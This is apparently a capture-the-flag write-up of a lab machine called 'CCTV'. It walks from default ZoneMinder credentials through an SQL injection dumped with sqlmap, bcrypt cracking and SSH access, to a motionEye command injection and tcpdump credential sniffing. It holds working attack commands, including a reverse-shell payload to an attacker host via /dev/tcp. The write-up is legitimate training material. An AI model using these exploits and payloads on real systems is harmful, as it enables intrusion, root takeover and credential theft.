Overview
The machine starts easy with admin panel discovery with default creds, the admin panel was vulnerable to SQL Injection attack which helped us to exfiltrate hashes from the database and by cracking one of those hashes we could get an SSH shell From here we can find files with a capability that helped us to get a hold of another user credentials After Enumeration we found an open port that hosts another vulnerable service, this service is running as root and we were able to get shell as a root
Enumeration
as usual gonna start with our nmap
jimmex@attacker ➜ nmap -sC -sV -vv -oA initial 10.129.18.51
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-30 15:14 EET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:14
Completed NSE at 15:14, 0.00s elapsed
< snip>
Nmap scan report for 10.129.18.51
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2026-03-30 15:14:14 EET for 76s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
| _ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDZ15GCLPzC4gTM0nqzpUbr/2L77bM1C9sbBecivQPX/KcKvJrP88peCJXwTug7T/EORHr7M7JeHtMQJ6hYihFA=
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.58
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
so we go only 2 ports in the initial scan so lets just run a full scan while we inspect the site
and when we click that staff login we get redirected to zone minder login page
and by looking at the source code we got this that reveals some directories might come in handy later (don't jump into rabbit holes to quickly)
Servers[0] = new Server({"Id":null,"Name":"","Protocol":"http","Hostname":"cctv.htb","Port":"80","PathToIndex":"\/zm\/index.php","PathToZMS":"\/zm\/cgi-bin\/nph-zms","PathToApi":"\/zm\/api","zmaudit":1,"zmstats":1,"zmtrigger":0,"zmeventnotification":0});
just one fast check both /zm/api and /zm/cgi-bin-nph-zms returns 403 unauthorized
back to the login page and trying default creds admin:admin we got in
and we see we're running v1.37.63 so lets look that up and there is a Critical CVE
Foothold
CVE-2024-51482
the CVE affects function of web/ajax/event.php and causes boolean-based SQL injection
the vulnerable function is removetag
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
ajaxResponse();
as you can see $tagId comes directly from $_REQUEST['tid'] with no sanitization which is classic SQLi but the other queries use parameterized ? placeholders correctly
and as you can see it is vulnerable now it's gonna be a mess to exploit this manually cause we exfiltrate character by character using something like this ASCII(SUBSTRING((SELECT password FROM Users LIMIT 0,1), 1, 1)) so i will just use sqlmap instead
now that we know what is the vulnerable param we can exfiltrate data
i first dumped databases
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" --cookie="ZMSESSID=qjk7s67vo4ep73arv6vi9q2s8a" --technique=T --dbms=mysql --dbs

just make sure whenever it asks you whether to merge the cookie you gave and the one set in
Set-Cookierefuse cause your cookie gives admin access butsqlmap's one probably low privs
it took a lot of time to retrieve the DB names and i couldn't wait that long again so i took a wild guess that it would be Username and Password columns in Users table in zm database
and we got 3 usernames so probably only mark will be crackable so lets try it first and it is starting with $2y$ which might be any format of bcrypt but since there is an ssh port open and there is no session to zm rather than admin session so i said it would be Blowfish Operating system hash
and here is how i knew there is no other users logged in

Hash Cracking
so lets crack hashcat -m 3200 mark.hash /usr/share/wordlists/rockyou.txt usually bcrypt hashes take too long to be cracked that's why i hate it but after a little why we got the pass 
Foothold
and sshpass -p 'opensesame' ssh mark@cctv.htb and we got in as mark but we don't get the flag and by looking at the home directory we get sa_mark home directory so that's probably what we'll be targeting
nothing too interesting except that there is too much ports open internally
you shouldn't have all these just to host a site like that so i forwarded the strange ones locally
jimmex@attacker ~/htb/labs/CCTV ➜ ssh -L 7999:127.0.0.1:7999 -L 9081:127.0.0.1:9081 -L 8765:127.0.0.1:8765 mark@cctv.htb
now we can access those ports from our attack machine using localhost:port_num
and found that Motion 4.7.1 running on 7999 and motion eye running on 8765 with v0.43.1b4 which is vulnerable to RCE
Lateral Movement (at least i thought)
CVE-2025-60787
Shell commands are injected into configuration fields in the motionEye, the root cause is lack of sanitization in config.py before writing to configuration files via ConfigHandler.set_config() but it is authenticated RCE and we need admin access so back to ssh to try and find any password in the motion configuration
and we get admin password so lets exploit it
What this exploit does is simple but it is better to be automated
first we get a camera list by hitting /config/list which gets these things
camera name,camera id,root_directorywhich we'll use to get a shell
then try to inject a shell like this payload = f"$(python3 -c \"import os;os.system('{interpreter} -c \\\"{interpreter} -i >& /dev/tcp/{args.host}/{args.port} 0>&1\\\"')\").%Y-%m-%d-%H-%M-%S" in the vulnerable parameter image_file_name and it also sets the next settings
"capture_mode": "interval-snapshots"
"snapshot_interval": "10"
which tells motion to take a snapshot every 10 seconds which will trigger the shell
and we got root

Back to the Intended way
i though this will drop us in sa_mark or something but it dropped us right into root so let's hit back to mark and try to go the intended way
some if i miss any thing like this i try to go and use linpeas cause it is just easier and may catch stuff I've forgotten about and after giving it a try i found that i can sniff traffic using tcpdump
and why does this happen ? because we are given cap_net_raw=eip capability over the tcpdump binary
The cap_net_raw=ep capability allows a Linux process to use raw and packet sockets like ping, tcpdump, or any script that need socket without running as root
emeans effective,ppermitted so lets runtcpdumpand see what we can do when i locked at the NICs i found that there is a docker container that i didn't notice at the first time (I'm off today) so lets try to sniff on that card to see if we can get something but docker didn't show anything so time to catch all
usually i start with any docker container or any other interfaces and then comeback to loopback cause it might have a lot of traffic and would need me to create a pcap file and download it and open wireshark bla bla bla so lets avoid that if we can
tcpdump -i any -nn -A tcpand we got cleartext
and this is how we should've went in the first place
now if we try those creds with su

Resources
- CVE-2024-51482: https://www.penligent.ai/hackinglabs/cve-2024-51482-the-zoneminder-sql-injection-that-still-matters-in-2026/
- CVE-2025-60787: https://github.com/motioneye-project/motioneye/security/advisories/GHSA-j945-qm58-4gjx
- Capabilities: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities
